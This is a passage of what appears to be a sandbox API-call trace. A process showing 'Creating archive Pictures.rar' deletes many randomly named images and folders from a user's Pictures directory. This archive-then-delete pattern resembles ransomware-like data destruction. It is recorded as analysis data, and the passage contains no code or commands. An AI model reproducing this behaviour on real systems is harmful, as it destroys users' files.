lpString="") returned 1 [0067.272] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.272] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="o7iZDtChRQGlm.png") returned 17 [0067.272] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.272] GetTickCount () returned 0xa671d8 [0067.272] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14261241662) returned 1 [0067.272] GetTickCount () returned 0xa671d8 [0067.272] GetTickCount () returned 0xa671d8 [0067.272] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.272] DeleteFileW (lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\G StNxmi.gif" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\hnlfrbjuhsodl\\0xrpwoz7bigafl\\g stnxmi.gif")) returned 1 [0067.273] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.273] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.273] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.273] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.273] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.273] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.273] SetWindowTextW (hWnd=0x1024c, lpString="G StNxmi.gif") returned 1 [0067.273] GetTickCount () returned 0xa671d8 [0067.273] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.273] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.274] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.274] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.274] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="G StNxmi.gif") returned 12 [0067.274] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.274] GetTickCount () returned 0xa671d8 [0067.274] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14261448858) returned 1 [0067.274] GetTickCount () returned 0xa671d8 [0067.274] GetTickCount () returned 0xa671d8 [0067.274] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.274] DeleteFileW (lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\FS9X-Jz92l3SkJz_uf.bmp" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\hnlfrbjuhsodl\\0xrpwoz7bigafl\\fs9x-jz92l3skjz_uf.bmp")) returned 1 [0067.275] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.275] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.275] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.275] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.275] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.275] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.275] SetWindowTextW (hWnd=0x1024c, lpString="FS9X-Jz92l3SkJz_uf.bmp") returned 1 [0067.275] GetTickCount () returned 0xa671d8 [0067.275] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.275] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.275] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.275] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.275] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="FS9X-Jz92l3SkJz_uf.bmp") returned 22 [0067.276] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.276] GetTickCount () returned 0xa671d8 [0067.276] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14261610758) returned 1 [0067.276] GetTickCount () returned 0xa671d8 [0067.276] GetTickCount () returned 0xa671d8 [0067.276] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.276] DeleteFileW (lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\AcSwmq12.png" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\hnlfrbjuhsodl\\0xrpwoz7bigafl\\acswmq12.png")) returned 1 [0067.276] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.276] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.276] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.276] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.277] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.277] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.277] SetWindowTextW (hWnd=0x1024c, lpString="AcSwmq12.png") returned 1 [0067.277] GetTickCount () returned 0xa671d8 [0067.277] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.277] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.277] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.277] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.277] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="AcSwmq12.png") returned 12 [0067.277] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.277] GetTickCount () returned 0xa671d8 [0067.277] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14261770767) returned 1 [0067.277] GetTickCount () returned 0xa671d8 [0067.277] GetTickCount () returned 0xa671d8 [0067.277] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.277] RemoveDirectoryW (lpPathName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\hnlfrbjuhsodl\\0xrpwoz7bigafl")) returned 1 [0067.320] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.320] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.320] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.320] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.320] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.320] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.320] SetWindowTextW (hWnd=0x1024c, lpString="0XRpWOZ7BIgaFl") returned 1 [0067.321] GetTickCount () returned 0xa67207 [0067.321] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.321] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.321] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.321] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.321] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="0XRpWOZ7BIgaFl") returned 14 [0067.321] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.321] GetTickCount () returned 0xa67207 [0067.321] GetLastError () returned 0x5 [0067.321] SetLastError (dwErrCode=0x5) [0067.321] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0067.321] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0067.321] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 2%") returned 5 [0067.321] SetWindowTextW (hWnd=0x1024e, lpString=" 38%") returned 1 [0067.321] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x26, lParam=0x0) returned 0x2 [0067.321] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14266187641) returned 1 [0067.322] GetTickCount () returned 0xa67207 [0067.322] GetTickCount () returned 0xa67207 [0067.322] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 1 [0067.322] GetMessageW (in: lpMsg=0x16d390, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d390) returned 1 [0067.322] GetFocus () returned 0x0 [0067.322] TranslateMessage (lpMsg=0x16d390) returned 0 [0067.322] DispatchMessageW (lpMsg=0x16d390) returned 0x0 [0067.322] RemoveDirectoryW (lpPathName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\hnlfrbjuhsodl")) returned 1 [0067.371] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.371] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.371] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.371] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.372] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.372] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.372] SetWindowTextW (hWnd=0x1024c, lpString="HNlFrbJUHSODl") returned 1 [0067.372] GetTickCount () returned 0xa67235 [0067.372] UpdateWindow (hWnd=0x10244) returned 1 [0067.372] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.372] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.372] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.372] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.372] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="HNlFrbJUHSODl") returned 13 [0067.372] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.372] GetTickCount () returned 0xa67235 [0067.372] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14271275180) returned 1 [0067.372] GetTickCount () returned 0xa67235 [0067.372] GetTickCount () returned 0xa67235 [0067.372] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 1 [0067.372] GetMessageW (in: lpMsg=0x16d390, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d390) returned 1 [0067.372] GetFocus () returned 0x0 [0067.372] TranslateMessage (lpMsg=0x16d390) returned 0 [0067.373] DispatchMessageW (lpMsg=0x16d390) returned 0x0 [0067.373] RemoveDirectoryW (lpPathName="ULcrruHeMH6lLDqYX5zP" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp")) returned 1 [0067.407] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.407] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.407] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.407] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.408] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.408] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.408] SetWindowTextW (hWnd=0x1024c, lpString="ULcrruHeMH6lLDqYX5zP") returned 1 [0067.408] GetTickCount () returned 0xa67264 [0067.408] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.408] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.408] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.408] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.408] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="ULcrruHeMH6lLDqYX5zP") returned 20 [0067.408] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.408] GetTickCount () returned 0xa67264 [0067.408] GetLastError () returned 0x5 [0067.408] SetLastError (dwErrCode=0x5) [0067.408] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0067.408] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0067.408] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 38%") returned 5 [0067.409] SetWindowTextW (hWnd=0x1024e, lpString=" 42%") returned 1 [0067.409] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x2a, lParam=0x0) returned 0x26 [0067.409] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14274917272) returned 1 [0067.409] GetTickCount () returned 0xa67264 [0067.409] GetTickCount () returned 0xa67264 [0067.409] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 1 [0067.409] GetMessageW (in: lpMsg=0x16d390, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d390) returned 1 [0067.409] GetFocus () returned 0x0 [0067.409] TranslateMessage (lpMsg=0x16d390) returned 0 [0067.409] DispatchMessageW (lpMsg=0x16d390) returned 0x0 [0067.409] DeleteFileW (lpFileName="r8gP7fn6WcydRhKaYYc.png" (normalized: "c:\\users\\whuoxysd\\pictures\\r8gp7fn6wcydrhkayyc.png")) returned 1 [0067.409] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.409] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.410] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.410] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.410] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.410] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.410] SetWindowTextW (hWnd=0x1024c, lpString="r8gP7fn6WcydRhKaYYc.png") returned 1 [0067.410] GetTickCount () returned 0xa67264 [0067.410] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.410] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.410] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.410] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.410] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="r8gP7fn6WcydRhKaYYc.png") returned 23 [0067.410] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.410] GetTickCount () returned 0xa67264 [0067.410] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14275086818) returned 1 [0067.411] GetTickCount () returned 0xa67264 [0067.411] GetTickCount () returned 0xa67264 [0067.411] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 1 [0067.411] GetMessageW (in: lpMsg=0x16d390, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d390) returned 1 [0067.411] GetFocus () returned 0x0 [0067.411] TranslateMessage (lpMsg=0x16d390) returned 0 [0067.411] DispatchMessageW (lpMsg=0x16d390) returned 0x0 [0067.411] DeleteFileW (lpFileName="m6NzXvQi8lk.jpg" (normalized: "c:\\users\\whuoxysd\\pictures\\m6nzxvqi8lk.jpg")) returned 1 [0067.411] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.411] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.411] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.411] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.411] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.411] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.411] SetWindowTextW (hWnd=0x1024c, lpString="m6NzXvQi8lk.jpg") returned 1 [0067.412] GetTickCount () returned 0xa67264 [0067.412] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.412] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.412] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.412] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.412] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="m6NzXvQi8lk.jpg") returned 15 [0067.412] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.412] GetTickCount () returned 0xa67264 [0067.412] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14275254291) returned 1 [0067.412] GetTickCount () returned 0xa67264 [0067.412] GetTickCount () returned 0xa67264 [0067.412] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.412] DeleteFileW (lpFileName="Itucwf.jpg" (normalized: "c:\\users\\whuoxysd\\pictures\\itucwf.jpg")) returned 1 [0067.413] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.413] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.413] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.413] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.413] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.413] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.413] SetWindowTextW (hWnd=0x1024c, lpString="Itucwf.jpg") returned 1 [0067.413] GetTickCount () returned 0xa67264 [0067.413] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.413] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.413] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.414] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.414] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="Itucwf.jpg") returned 10 [0067.414] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.414] GetTickCount () returned 0xa67264 [0067.414] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14275419225) returned 1 [0067.414] GetTickCount () returned 0xa67264 [0067.414] GetTickCount () returned 0xa67264 [0067.414] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.414] DeleteFileW (lpFileName="HoZdmtHokVR3Wl.jpg" (normalized: "c:\\users\\whuoxysd\\pictures\\hozdmthokvr3wl.jpg")) returned 1 [0067.414] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.414] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.414] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.414] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.415] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.415] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.415] SetWindowTextW (hWnd=0x1024c, lpString="HoZdmtHokVR3Wl.jpg") returned 1 [0067.415] GetTickCount () returned 0xa67264 [0067.415] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.415] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.415] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.415] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.415] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="HoZdmtHokVR3Wl.jpg") returned 18 [0067.415] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.415] GetTickCount () returned 0xa67264 [0067.415] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14275579313) returned 1 [0067.415] GetTickCount () returned 0xa67264 [0067.415] GetTickCount () returned 0xa67264 [0067.415] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.416] DeleteFileW (lpFileName="FF-GXA22K-J\\y_NnvZ hOSogKdF.gif" (normalized: "c:\\users\\whuoxysd\\pictures\\ff-gxa22k-j\\y_nnvz hosogkdf.gif")) returned 1 [0067.416] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.416] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.416] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.416] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.416] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.416] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.416] SetWindowTextW (hWnd=0x1024c, lpString="y_NnvZ hOSogKdF.gif") returned 1 [0067.417] GetTickCount () returned 0xa67264 [0067.417] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.417] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.417] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.417] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.417] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="y_NnvZ hOSogKdF.gif") returned 19 [0067.417] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.417] GetTickCount () returned 0xa67264 [0067.417] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14275917467) returned 1 [0067.419] GetTickCount () returned 0xa67264 [0067.419] GetTickCount () returned 0xa67264 [0067.419] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.419] DeleteFileW (lpFileName="FF-GXA22K-J\\TXT2nL.jpg" (normalized: "c:\\users\\whuoxysd\\pictures\\ff-gxa22k-j\\txt2nl.jpg")) returned 1 [0067.419] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.419] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.419] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.419] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.420] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.420] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.420] SetWindowTextW (hWnd=0x1024c, lpString="TXT2nL.jpg") returned 1 [0067.420] GetTickCount () returned 0xa67264 [0067.420] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.420] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.420] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.420] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.420] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="TXT2nL.jpg") returned 10 [0067.420] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.420] GetTickCount () returned 0xa67264 [0067.420] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14276084776) returned 1 [0067.420] GetTickCount () returned 0xa67264 [0067.421] GetTickCount () returned 0xa67264 [0067.421] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.421] DeleteFileW (lpFileName="FF-GXA22K-J\\qe4w BUBvbI.png" (normalized: "c:\\users\\whuoxysd\\pictures\\ff-gxa22k-j\\qe4w bubvbi.png")) returned 1 [0067.423] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.423] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.423] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.423] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.423] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.423] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.423] SetWindowTextW (hWnd=0x1024c, lpString="qe4w BUBvbI.png") returned 1 [0067.424] GetTickCount () returned 0xa67274 [0067.424] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.424] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.424] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.424] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.424] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="qe4w BUBvbI.png") returned 15 [0067.424] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.424] GetTickCount () returned 